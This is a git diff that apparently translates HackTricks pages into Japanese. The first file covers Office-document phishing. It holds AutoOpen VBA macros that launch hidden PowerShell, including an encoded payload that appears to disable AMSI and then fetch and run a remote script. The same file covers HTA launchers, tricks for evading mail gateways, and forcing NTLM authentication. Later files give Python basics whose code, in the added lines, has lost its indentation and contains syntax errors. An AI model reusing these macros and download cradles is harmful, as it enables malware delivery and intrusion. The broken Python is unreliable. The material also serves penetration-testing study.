[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Office Documents +## オフィスドキュメント -Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. +Microsoft Wordは、ファイルを開く前にファイルデータの検証を行います。データの検証は、OfficeOpenXML標準に対してデータ構造の識別として行われます。データ構造の識別中にエラーが発生した場合、分析対象のファイルは開かれません。 -Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\ -For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\ -The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.). - -You can use the following command to check which extensions are going to be executed by some Office programs: +通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更してもマクロの実行機能を保持することができます。\ +たとえば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前を変更したDOCMファイルはMicrosoft Wordで処理され、マクロの実行が可能になります。\ +同じ内部構造とメカニズムは、Microsoft Office Suiteのすべてのソフトウェア(Excel、PowerPointなど)に適用されます。 +次のコマンドを使用して、いくつかのOfficeプログラムで実行される拡張子を確認できます: ```bash assoc | findstr /i "word excel powerp" ``` +DOCXファイルは、マクロを含むリモートテンプレート(ファイル - オプション - アドイン - 管理:テンプレート - 移動)を参照することができ、マクロを「実行」することもできます。 -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +### 外部画像の読み込み -### External Image Load - -Go to: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever +次に進みます:_挿入 --> クイックパーツ --> フィールド_\ +_**カテゴリ**: リンクと参照, **フィールド名**: includePicture, **ファイル名またはURL**:_ http://\/whatever ![](<../../.gitbook/assets/image (316).png>) -### Macros Backdoor +### マクロのバックドア -It's possible to use macros to run arbitrary code from the document. +マクロを使用してドキュメントから任意のコードを実行することができます。 -#### Autoload functions +#### 自動ロード関数 -The more common they are, the more probable the AV will detect them. +一般的な関数ほど、AVに検出される可能性が高くなります。 * AutoOpen() * Document\_Open() -#### Macros Code Examples - +#### マクロのコード例 ```vba Sub AutoOpen() - CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") +CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") End Sub ``` ```vba Sub AutoOpen() - Dim Shell As Object - Set Shell = CreateObject("wscript.shell") - Shell.Run "calc" +Dim Shell As Object +Set Shell = CreateObject("wscript.shell") +Shell.Run "calc" End Sub ``` @@ -68,8 +65,8 @@ End Sub Dim author As String author = oWB.BuiltinDocumentProperties("Author") With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") - .StdIn.WriteLine author - .StdIn.WriteBlackLines 1 +.StdIn.WriteLine author +.StdIn.WriteBlackLines 1 ``` ```vba @@ -77,88 +74,85 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` +#### メタデータの手動削除 -#### Manually remove metadata +**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査**に移動し、ドキュメント検査ツールを表示します。**検査**をクリックし、**ドキュメントのプロパティと個人情報**の横にある**すべて削除**をクリックします。 -Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**. +#### ドキュメントの拡張子 -#### Doc Extension +作業が終了したら、**保存形式**のドロップダウンメニューから**`.docx`**を**Word 97-2003 `.doc`**に変更します。\ +これは、**マクロを`.docx`内に保存することはできない**ため、マクロ有効な**`.docm`**拡張子には**スティグマ**があります(たとえば、サムネイルアイコンには大きな`!`が表示され、一部のウェブ/メールゲートウェイで完全にブロックされます)。したがって、この**古い`.doc`拡張子が最善の妥協策**です。 -When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ -Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**. - -#### Malicious Macros Generators +#### 悪意のあるマクロ生成ツール * MacOS - * [**macphish**](https://github.com/cldrn/macphish) - * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) +* [**macphish**](https://github.com/cldrn/macphish) +* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## HTAファイル -An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application. - -An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. +HTAは、**HTMLと1つ以上のスクリプト言語**(VBScriptとJScript)で構成されるWindowsプログラムです。HTMLはユーザーインターフェースとプログラムロジックの生成に使用されます。HTAは、ブラウザのセキュリティモデルの制約なしで実行されるため、「完全に信頼された」アプリケーションとして実行されます。 +HTAは、通常**Internet Explorerと一緒にインストール**される**`mshta.exe`**を使用して実行されます。したがって、IEがアンインストールされている場合、HTAは実行できません。 ```html <--! Basic HTA Execution --> - - Hello World - - -

Hello World

-

This is an HTA...

- + +Hello World + + +

Hello World

+

This is an HTA...

+ - +Pwn + ``` ```html <--! Cobal Strike generated HTA without shellcode --> ``` +## NTLM認証の強制 -## Forcing NTLM Authentication +**リモートでNTLM認証を強制する方法はいくつかあります**。たとえば、ユーザーがアクセスするメールやHTMLに**見えない画像**を追加することができます(HTTP MitMでも可能ですか?)。または、被害者に**フォルダを開くだけで認証をトリガーするファイルのアドレス**を送信することもできます。 -There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** - -**Check these ideas and more in the following pages:** +**以下のページでこれらのアイデアやその他の情報をチェックしてください:** {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) @@ -168,21 +162,21 @@ There are several ways to **force NTLM authentication "remotely"**, for example, [places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md) {% endcontent-ref %} -### NTLM Relay +### NTLMリレー -Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**: +ハッシュや認証情報だけでなく、**NTLMリレーアタックも実行できることを忘れないでください**: -* [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -* [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +* [**NTLMリレーアタック**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +* [**AD CS ESC8(証明書へのNTLMリレー)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 8584b280f..3841e05be 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -3,8 +3,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,38 +12,38 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -**Interesting pages to check:** +**チェックする興味深いページ:** -* [**Pyscript hacking tricks**](pyscript.md) -* [**Python deserializations**](../../pentesting-web/deserialization/#python) -* [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/) -* [**Basic python web requests syntax**](web-requests.md) -* [**Basic python syntax and libraries**](basic-python.md) +* [**Pyscriptハッキングトリック**](pyscript.md) +* [**Pythonの逆シリアル化**](../../pentesting-web/deserialization/#python) +* [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) +* [**基本的なPythonウェブリクエストの構文**](web-requests.md) +* [**基本的なPythonの構文とライブラリ**](basic-python.md)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/basic-python.md b/generic-methodologies-and-resources/python/basic-python.md index abf141fa5..066b1e813 100644 --- a/generic-methodologies-and-resources/python/basic-python.md +++ b/generic-methodologies-and-resources/python/basic-python.md @@ -1,32 +1,32 @@ -# Basic Python +# 基本的なPython
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Python Basics +## Pythonの基礎 -### Useful information +### 便利な情報 -list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\ -The difference between a Tuple and a List is that the position of a value in a tuple gives it meaning but the lists are just ordered values. Tuples have structures but lists have an order. +list(xrange()) == range() --> Python3では、rangeはPython2のxrangeです(リストではなくジェネレーターです)\ +タプルとリストの違いは、タプルの値の位置に意味があるが、リストは単に順序付けられた値です。タプルには構造がありますが、リストには順序があります。 -### Main operations +### 主な操作 -To raise a number you use: 3\*\*2 (not 3^2)\ -If you do 2/3 it returns 1 because you are dividing two ints (integers). If you want decimals you should divide floats (2.0/3.0).\ +数を上げるには:3\*\*2(3^2ではありません)\ +2/3を行うと1が返されます。なぜなら、2つの整数(integers)を割っているからです。小数点以下を取得するには、浮動小数点数を割る必要があります(2.0/3.0)。\ i >= j\ i <= j\ i == j\ @@ -48,298 +48,280 @@ isinstance(1, int) = True\ "abcdef".contains("abc") = True\ "abc\n".strip() = "abc"\ "apbc".replace("p","") = "abc"\ -dir(str) = List of all the available methods\ -help(str) = Definition of the class str\ +dir(str) = 利用可能なすべてのメソッドのリスト\ +help(str) = クラスstrの定義\ "a".upper() = "A"\ "A".lower() = "a"\ "abc".capitalize() = "Abc"\ sum(\[1,2,3]) = 6\ sorted(\[1,43,5,3,21,4]) -**Join chars**\ +**文字の結合**\ 3 \* ’a’ = ‘aaa’\ ‘a’ + ‘b’ = ‘ab’\ ‘a’ + str(3) = ‘a3’\ \[1,2,3]+\[4,5]=\[1,2,3,4,5] -**Parts of a list**\ +**リストの一部**\ ‘abc’\[0] = ‘a’\ 'abc’\[-1] = ‘c’\ 'abc’\[1:3] = ‘bc’ from \[1] to \[2]\ "qwertyuiop"\[:-1] = 'qwertyuio' -**Comments**\ -\# One line comment\ +**コメント**\ +\# 1行コメント\ """\ -Several lines comment\ -Another one\ +複数行コメント\ +もう一つ\ """ -**Loops** - +**ループ** ``` if a: - #somethig +#somethig elif b: - #something +#something else: - #something +#something while(a): - #comething +#comething for i in range(0,100): - #something from 0 to 99 +#something from 0 to 99 for letter in "hola": - #something with a letter in "hola" +#something with a letter in "hola" ``` +### タプル -### Tuples - -t1 = (1,'2,'three')\ -t2 = (5,6)\ +t1 = (1, '2', 'three')\ +t2 = (5, 6)\ t3 = t1 + t2 = (1, '2', 'three', 5, 6)\ -(4,) = Singelton\ -d = () empty tuple\ -d += (4,) --> Adding into a tuple\ -CANT! --> t1\[1] == 'New value'\ -list(t2) = \[5,6] --> From tuple to list +(4,) = シングルトン\ +d = () 空のタプル\ +d += (4,) --> タプルに追加する\ +できません! --> t1\[1] == 'New value'\ +list(t2) = \[5, 6] --> タプルからリストへ -### List (array) +### リスト(配列) -d = \[] empty\ -a = \[1,2,3]\ -b = \[4,5]\ -a + b = \[1,2,3,4,5]\ -b.append(6) = \[4,5,6]\ -tuple(a) = (1,2,3) --> From list to tuple +d = \[] 空のリスト\ +a = \[1, 2, 3]\ +b = \[4, 5]\ +a + b = \[1, 2, 3, 4, 5]\ +b.append(6) = \[4, 5, 6]\ +tuple(a) = (1, 2, 3) --> リストからタプルへ -### Dictionary +### 辞書 -d = {} empty\ -monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\ -monthNumbers\[1] = ‘Jan’\ +d = {} 空の辞書\ +monthNumbers = {1: 'Jan', 2: 'feb', 'feb': 2} --> monthNumbers -> {1: 'Jan', 2: 'feb', 'feb': 2}\ +monthNumbers\[1] = 'Jan'\ monthNumbers\[‘feb’] = 2\ -list(monthNumbers) = \[1,2,’feb’]\ -monthNumbers.values() = \[‘Jan’,’feb’,2]\ +list(monthNumbers) = \[1, 2, 'feb']\ +monthNumbers.values() = \['Jan', 'feb', 2]\ keys = \[k for k in monthNumbers]\ -a={'9':9}\ -monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\ -mN = monthNumbers.copy() #Independent copy\ -monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists +a = {'9': 9}\ +monthNumbers.update(a) = {'9': 9, 1: 'Jan', 2: 'feb', 'feb': 2}\ +mN = monthNumbers.copy() #独立したコピー\ +monthNumbers.get('key', 0) #キーが存在するかどうかを確認し、monthNumbers\["key"]の値を返す。存在しない場合は0を返す -### Set +### セット -In sets there are no repetitions\ +セットでは重複はありません\ myset = set(\['a', 'b']) = {'a', 'b'}\ myset.add('c') = {'a', 'b', 'c'}\ -myset.add('a') = {'a', 'b', 'c'} #No repetitions\ -myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\ -myset.discard(10) #If present, remove it, if not, nothing\ -myset.remove(10) #If present remove it, if not, rise exception\ +myset.add('a') = {'a', 'b', 'c'} #重複なし\ +myset.update(\[1, 2, 3]) = set(\['a', 1, 2, 'b', 'c', 3])\ +myset.discard(10) #存在する場合は削除し、存在しない場合は何もしない\ +myset.remove(10) #存在する場合は削除し、存在しない場合は例外を発生させる\ myset2 = set(\[1, 2, 3, 4])\ -myset.union(myset2) #Values it myset OR myset2\ -myset.intersection(myset2) #Values in myset AND myset2\ -myset.difference(myset2) #Values in myset but not in myset2\ -myset.symmetric\_difference(myset2) #Values that are not in myset AND myset2 (not in both)\ -myset.pop() #Get the first element of the set and remove it\ -myset.intersection\_update(myset2) #myset = Elements in both myset and myset2\ -myset.difference\_update(myset2) #myset = Elements in myset but not in myset2\ -myset.symmetric\_difference\_update(myset2) #myset = Elements that are not in both +myset.union(myset2) #mysetまたはmyset2の値\ +myset.intersection(myset2) #mysetとmyset2の値\ +myset.difference(myset2) #mysetにあるがmyset2にはない値\ +myset.symmetric\_difference(myset2) #mysetとmyset2の両方にない値\ +myset.pop() #セットの最初の要素を取得して削除する\ +myset.intersection\_update(myset2) #myset = mysetとmyset2の両方にある要素\ +myset.difference\_update(myset2) #myset = mysetにあるがmyset2にはない要素\ +myset.symmetric\_difference\_update(myset2) #myset = mysetとmyset2の両方にない要素 -### Classes - -The method in \_\_It\_\_ will be the one used by sort to compare if an object of this class is bigger than other +### クラス +\_\_It\_\_のメソッドは、このクラスのオブジェクトが他のオブジェクトよりも大きいかどうかを比較するためにsortによって使用されるメソッドです。 ```python class Person(name): - def __init__(self,name): - self.name= name - self.lastName = name.split(‘ ‘)[-1] - self.birthday = None - def __It__(self, other): - if self.lastName == other.lastName: - return self.name < other.name - return self.lastName < other.lastName #Return True if the lastname is smaller +def __init__(self,name): +self.name= name +self.lastName = name.split(‘ ‘)[-1] +self.birthday = None +def __It__(self, other): +if self.lastName == other.lastName: +return self.name < other.name +return self.lastName < other.lastName #Return True if the lastname is smaller - def setBirthday(self, month, day. year): - self.birthday = date tame.date(year,month,day) - def getAge(self): - return (date time.date.today() - self.birthday).days +def setBirthday(self, month, day. year): +self.birthday = date tame.date(year,month,day) +def getAge(self): +return (date time.date.today() - self.birthday).days class MITPerson(Person): - nextIdNum = 0 # Attribute of the Class - def __init__(self, name): - Person.__init__(self,name) - self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase - MITPerson.nextIdNum += 1 #Attribute of the class +1 +nextIdNum = 0 # Attribute of the Class +def __init__(self, name): +Person.__init__(self,name) +self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase +MITPerson.nextIdNum += 1 #Attribute of the class +1 - def __it__(self, other): - return self.idNum < other.idNum +def __it__(self, other): +return self.idNum < other.idNum ``` +### map、zip、filter、lambda、sorted、ワンライナー -### map, zip, filter, lambda, sorted and one-liners - -**Map** is like: \[f(x) for x in iterable] --> 